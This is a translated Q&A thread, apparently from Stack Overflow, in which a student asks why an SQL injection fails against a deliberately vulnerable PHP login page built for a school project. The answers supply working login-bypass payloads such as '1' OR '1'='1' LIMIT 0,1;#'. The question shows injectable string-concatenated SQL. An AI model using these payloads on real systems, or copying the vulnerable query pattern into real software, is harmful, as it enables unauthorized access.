我的SQL注入似乎不起作用?

时间:2013-12-15 00:04:03

标签: php mysql sql-injection

我必须为学校做一个关于许多不同网络漏洞(SQL,XSS,CSRF等)的项目,我已经建立了一个非常简单的网站来演示攻击。但由于某种原因,我无法通过攻击登录来获得SQL注入。

以下是简单的登录代码:

$query = "SELECT * FROM customer WHERE cMAIL='$cmail' AND cPWD='$cpwd'";
$res = mysql_query($query) or die(mysql_error());
echo $query . mysql_error();
$count = mysql_num_rows($res);

if ($count == 1) {
    echo " Reached target!";
    session_start();
    $_SESSION["cmail"] = $cmail;
    $_SESSION["cpwd"] = $cpwd;
} else {}

很多回声的东西都是如此,我可以按照注射来看看会发生什么,但它给了我奇怪的结果。

如果我以其中一位客户身份登录;用户名:jjones@mit.edu,密码= 123abc,它给出了预期的响应:

  

SELECT * FROM customer WHERE cMAIL='jjones@mit.edu'AND cPWD ='123abc'   达到了目标!

这就是它在浏览器中的回声,只是为了清楚!

为jjones创建会话。但如果我这样做:用户名:1​​'或'1'='1,密码:(空)它回应:

  

SELECT * FROM customer WHERE cMAIL ='1'OR'1'='1'AND cPWD =''

没有错误或任何事情。我已经回显了$ count,它说从数据库中选择了0行。因此注入是合理的,但我没有根据查询得到任何行。我该如何解决这个问题?

4 个答案:

答案 0 :(得分:3)

你可以制作

SELECT * FROM customer WHERE cMAIL='1' OR '1'='1' LIMIT 0,1;# AND cPWD=''

用户:

1' OR '1'='1' LIMIT 0,1;#

密码为空。

答案 1 :(得分:2)

要绕过登录检查,您应构建符合以下规范的查询:

  1. 仅限一个行。 (LIMIT)
  2. WHERE子句始终为true。 (布尔计算)
  3. 所以@Ignacio Ocampo的解决方案恰到好处。

    顺便说一句,在SQL注入中你应该考虑一件事。如果启用了magic_quotes_gpc,PHP将自动将'转换为\'

答案 2 :(得分:0)

您可以通过将username设置为

来演示示例中的SQL注入
1' OR 1=1; --

这将使您的最终查询:

SELECT * FROM customer WHERE cMAIL='1' OR 1=1; -- AND cPWD=''

注释密码检查。

答案 3 :(得分:0)

你必须为密码字段放下一些东西。现在,查询必须将密码与空白(“”)匹配。

以下内容会让你成为一个聪明的坏人

Username: 1' OR '1' = '1 
Password: doesntmatter' OR '1' = '1

这转换为

SELECT * 
FROM customer 
WHERE cMAIL='1' OR '1'='1' 
   AND cPWD='doesntmatter' OR '1' = '1'